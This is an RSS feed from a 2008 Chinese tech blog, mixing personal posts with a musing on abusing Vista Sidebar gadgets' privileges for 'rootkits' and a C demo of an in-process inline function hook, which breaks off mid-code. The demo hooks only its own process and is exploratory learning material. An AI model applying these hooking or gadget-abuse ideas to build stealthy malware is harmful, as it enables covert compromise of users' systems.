﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>PHP博客-GaRY's Blog-随笔分类-Others</title><link>http://www.phpweblog.net/GaRY/category/86.html</link><description>Beginning is always beautiful</description><language>zh-cn</language><lastBuildDate>Wed, 06 Feb 2008 07:56:57 GMT</lastBuildDate><pubDate>Wed, 06 Feb 2008 07:56:57 GMT</pubDate><ttl>60</ttl><item><title>新年快乐</title><link>http://www.phpweblog.net/GaRY/archive/2008/02/06/2771.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 06 Feb 2008 06:04:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2008/02/06/2771.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2771.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2008/02/06/2771.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2771.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2771.html</trackback:ping><description><![CDATA[祝各位新年快乐<br>各位要这么想,瑞雪兆丰年嘛:)
<img src ="http://www.phpweblog.net/GaRY/aggbug/2771.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2008-02-06 14:04 <a href="http://www.phpweblog.net/GaRY/archive/2008/02/06/2771.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>刷了手机的ROM</title><link>http://www.phpweblog.net/GaRY/archive/2008/01/12/2681.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Fri, 11 Jan 2008 18:55:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2008/01/12/2681.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2681.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2008/01/12/2681.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2681.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2681.html</trackback:ping><description><![CDATA[我人比较懒,也比较笨.买了一个S1,现在才真正刷了次ROM,一点没有DIY精神.期间还经历几次失败.不过总算是弄好了,现在系统反应快了不少.装了点软件,贴几张图上来纪念一下.<br><br><img height=320 alt="" src="http://www.phpweblog.net/images/phpweblog_net/gary/Screen002.jpg" width=240 border=0>&nbsp; <img height=320 alt="" src="http://www.phpweblog.net/images/phpweblog_net/gary/Screen003.jpg" width=240 border=0><br><img height=320 alt="" src="http://www.phpweblog.net/images/phpweblog_net/gary/Screen004.jpg" width=240 border=0>&nbsp; <img height=320 alt="" src="http://www.phpweblog.net/images/phpweblog_net/gary/Screen001.jpg" width=240 border=0>
<img src ="http://www.phpweblog.net/GaRY/aggbug/2681.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2008-01-12 02:55 <a href="http://www.phpweblog.net/GaRY/archive/2008/01/12/2681.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对Vista Gadgets的YY</title><link>http://www.phpweblog.net/GaRY/archive/2008/01/09/Vista_Gadgets_Security.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 09 Jan 2008 08:00:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2008/01/09/Vista_Gadgets_Security.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2669.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2008/01/09/Vista_Gadgets_Security.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2669.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2669.html</trackback:ping><description><![CDATA[<p>昨天ms补丁更新,出了两个很重量级的系统补丁.<br>不过也许是那两个补丁吸引了所有人的注意,却很少有人注意到另一个: <a href="http://www.microsoft.com/technet/security/advisory/943411.mspx">Microsoft Security Advisory (943411):Improve Windows Sidebar Protection</a>.<br>这引起了我的好奇,突然想起vista的Gadgets其实就是一个html+js做的一个小型applation.通过它.我们也能做一些邪恶不伤大雅的东西.<br>迅速翻了翻<a href="http://msdn2.microsoft.com/en-us/library/bb508513(VS.85).aspx">msdn</a>,他支持的可不少啊,光是System.Shell对象就能引起无限的遐想 :)<br>另外,MS<a href="http://msdn2.microsoft.com/en-us/library/bb508510.aspx" target="_blank">文章</a>上提到的关于Gadgets权限的几点勾起了我的兴趣:<br><br>1、The MSHTML runtime is configured with the set of permissions given to HTAs or the Local Machine Zone security configuration.<br>2、Because gadgets are considered executable code, they can instantiate any installed ActiveX object when the option "Initialize and script ActiveX controls not marked as safe for scripting" is enabled in Internet Explorer.<br>3、Since gadgets can aggregate data from various locations, the option "Access data sources across domains" is enabled in Internet Explorer.<br>甚至连伟大的UAC也奈何不了它:<br>4、As an additional precaution, Sidebar Gadgets do not display the UAC elevation prompts that are used to run programs with full administrator privileges. <br>(这句话其实并不是如字面意思上展现的那样强大.如果一个应用程序需要UAC授权,那么当gadgets调用那个app时.那个app就会触发UAC)<br><br>这时候群里也聊到了Browser Rootkit的话题,这是不是同样也会是一个Gadget Rootkit的发展方向呢?权限大,ActiveX,System.Shell,跨域操作等等等等,请各位自己yy : )<br><br>yy不够,顺便sy一下:<br><img alt="" src="http://www.phpweblog.net/images/phpweblog_net/gary/cmd.JPG" border="0" height="219" width="869"><br><br>没有uac提示,就弹出了cmd窗口.<br>当然我们最好不要单独弄一个gadget,上面的gadget只是个测试.系统自带的很多gadget都能做手脚</p><img src ="http://www.phpweblog.net/GaRY/aggbug/2669.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2008-01-09 16:00 <a href="http://www.phpweblog.net/GaRY/archive/2008/01/09/Vista_Gadgets_Security.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>分享两份文档</title><link>http://www.phpweblog.net/GaRY/archive/2007/12/16/2548.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sun, 16 Dec 2007 12:09:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/12/16/2548.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2548.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/12/16/2548.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2548.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2548.html</trackback:ping><description><![CDATA[<p><strong>Zend API : 深入PHP内核</strong> 与 <strong>Python源码剖析<br>原始链接分别为<a href="http://www.yanbin.org/">http://www.yanbin.org/</a>&nbsp;&nbsp;&nbsp;与 &nbsp;<a href="http://blog.donews.com/lemur/category/70797.aspx?PageNumber=3">http://blog.donews.com/lemur/category/70797.aspx?PageNumber=3</a><br><br></strong>两者都是网络上发表的文档,因为是一篇一篇blog,我手工收集为doc,方便各位查看.<br>下面提供pdf,doc下载.<br><br><a title="Zend API(doc+pdf)" href="http://www.phpweblog.net/Files/GaRY/Zend_API.rar">Zend API(doc+pdf)</a><br><a title=Python源码剖析(pdf) href="http://www.phpweblog.net/Files/GaRY/Python源码剖析.pdf.rar">Python源码剖析(pdf)</a><br><a title=Python源码剖析(doc) href="http://www.phpweblog.net/Files/GaRY/Python源码剖析.doc.rar">Python源码剖析(doc)</a></p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/2548.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-12-16 20:09 <a href="http://www.phpweblog.net/GaRY/archive/2007/12/16/2548.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zt]dePython</title><link>http://www.phpweblog.net/GaRY/archive/2007/08/28/1814.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 28 Aug 2007 12:05:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/08/28/1814.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1814.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/08/28/1814.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1814.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1814.html</trackback:ping><description><![CDATA[<a href="http://www.depython.net/">http://www.depython.net/</a><br>team509的东西，赞一个
<img src ="http://www.phpweblog.net/GaRY/aggbug/1814.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-08-28 20:05 <a href="http://www.phpweblog.net/GaRY/archive/2007/08/28/1814.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>谈话记录</title><link>http://www.phpweblog.net/GaRY/archive/2007/06/06/1362.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 06 Jun 2007 10:05:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/06/06/1362.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1362.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/06/06/1362.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1362.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1362.html</trackback:ping><description><![CDATA[剑心(xxxxxxx) 17:57:01<br>&nbsp;看本质就是<br>金钱 美女<br>剑心(xxxxxxx) 17:57:07<br>金钱 美色<br>wofeiwo(xxxxxxx) 17:57:25<br>再加个权力,是男人谁不想要?<br>剑心(xxxxxxx) 17:58:18<br>恩<br>剑心(xxxxxxx) 17:58:25<br>差不多齐了<br>剑心(xxxxxxx) 17:58:46<br>我说我追求金钱和美色 人家都很鄙视我<br>剑心(xxxxxxx) 17:58:58<br>我说我追求事业和爱情 人家都很崇拜我
<img src ="http://www.phpweblog.net/GaRY/aggbug/1362.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-06-06 18:05 <a href="http://www.phpweblog.net/GaRY/archive/2007/06/06/1362.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ring3 Inline Hook  Demo</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 29 May 2007 05:45:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1272.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1272.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1272.html</trackback:ping><description><![CDATA[第一次写这种内存补丁一样的东西.开始怎么写都出错.字节码没有对齐..跳转地址算错.等等...后来用ida分析+od调试搞定.(头一次认认真真用od和ida...值得纪念)<br>测试环境xp sp2+vc6.0<br><br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">stdio.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">windows.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;保存原始的5个字节代码,注意一定要保证完整</span><span style="COLOR: #008000"><br><img id=Codehighlighter1_76_105_Open_Image onclick="this.style.display='none'; Codehighlighter1_76_105_Open_Text.style.display='none'; Codehighlighter1_76_105_Closed_Image.style.display='inline'; Codehighlighter1_76_105_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_76_105_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_76_105_Closed_Text.style.display='none'; Codehighlighter1_76_105_Open_Image.style.display='inline'; Codehighlighter1_76_105_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: #000000">BYTE&nbsp;orig_code[</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_76_105_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_76_105_Open_Text><span style="COLOR: #000000">{</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;JMP&nbsp;0xXXXXXXXX</span><span style="COLOR: #008000"><br><img id=Codehighlighter1_146_165_Open_Image onclick="this.style.display='none'; Codehighlighter1_146_165_Open_Text.style.display='none'; Codehighlighter1_146_165_Closed_Image.style.display='inline'; Codehighlighter1_146_165_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_146_165_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_146_165_Closed_Text.style.display='none'; Codehighlighter1_146_165_Open_Image.style.display='inline'; Codehighlighter1_146_165_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: #000000">BYTE&nbsp;hook_code[</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_146_165_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_146_165_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #000000">0xe9</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;}</span></span><span style="COLOR: #000000">;<br><img id=Codehighlighter1_192_210_Open_Image onclick="this.style.display='none'; Codehighlighter1_192_210_Open_Text.style.display='none'; Codehighlighter1_192_210_Closed_Image.style.display='inline'; Codehighlighter1_192_210_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_192_210_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_192_210_Closed_Text.style.display='none'; Codehighlighter1_192_210_Open_Image.style.display='inline'; Codehighlighter1_192_210_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top>BYTE&nbsp;jmp_orig_code[</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_192_210_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_192_210_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #000000">0xe9</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;fake_func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;hook_func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;jmp_back();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;main(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;argc,&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">argv)<br><img id=Codehighlighter1_311_365_Open_Image onclick="this.style.display='none'; Codehighlighter1_311_365_Open_Text.style.display='none'; Codehighlighter1_311_365_Closed_Image.style.display='inline'; Codehighlighter1_311_365_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_311_365_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_311_365_Closed_Text.style.display='none'; Codehighlighter1_311_365_Open_Image.style.display='inline'; Codehighlighter1_311_365_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_311_365_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_311_365_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;hook_func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;func()<br><img id=Codehighlighter1_379_433_Open_Image onclick="this.style.display='none'; Codehighlighter1_379_433_Open_Text.style.display='none'; Codehighlighter1_379_433_Closed_Image.style.display='inline'; Codehighlighter1_379_433_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_379_433_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_379_433_Closed_Text.style.display='none'; Codehighlighter1_379_433_Open_Image.style.display='inline'; Codehighlighter1_379_433_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_379_433_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_379_433_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">I'm&nbsp;func(),I'm&nbsp;called!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;hook_func()<br><img id=Codehighlighter1_453_1097_Open_Image onclick="this.style.display='none'; Codehighlighter1_453_1097_Open_Text.style.display='none'; Codehighlighter1_453_1097_Closed_Image.style.display='inline'; Codehighlighter1_453_1097_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_453_1097_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_453_1097_Closed_Text.style.display='none'; Codehighlighter1_453_1097_Open_Image.style.display='inline'; Codehighlighter1_453_1097_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_453_1097_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_453_1097_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;dwOldProtect;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">VirtualProtect(func,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">dwOldProtect))<br><img id=Codehighlighter1_546_600_Open_Image onclick="this.style.display='none'; Codehighlighter1_546_600_Open_Text.style.display='none'; Codehighlighter1_546_600_Closed_Image.style.display='inline'; Codehighlighter1_546_600_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_546_600_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_546_600_Closed_Text.style.display='none'; Codehighlighter1_546_600_Open_Image.style.display='inline'; Codehighlighter1_546_600_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span id=Codehighlighter1_546_600_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_546_600_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">VirtualProtect&nbsp;error!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">VirtualProtect(jmp_back,&nbsp;</span><span style="COLOR: #000000">12</span><span style="COLOR: #000000">,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">dwOldProtect))<br><img id=Codehighlighter1_677_731_Open_Image onclick="this.style.display='none'; Codehighlighter1_677_731_Open_Text.style.display='none'; Codehighlighter1_677_731_Closed_Image.style.display='inline'; Codehighlighter1_677_731_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_677_731_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_677_731_Closed_Text.style.display='none'; Codehighlighter1_677_731_Open_Image.style.display='inline'; Codehighlighter1_677_731_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span id=Codehighlighter1_677_731_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_677_731_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">VirtualProtect&nbsp;error!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img 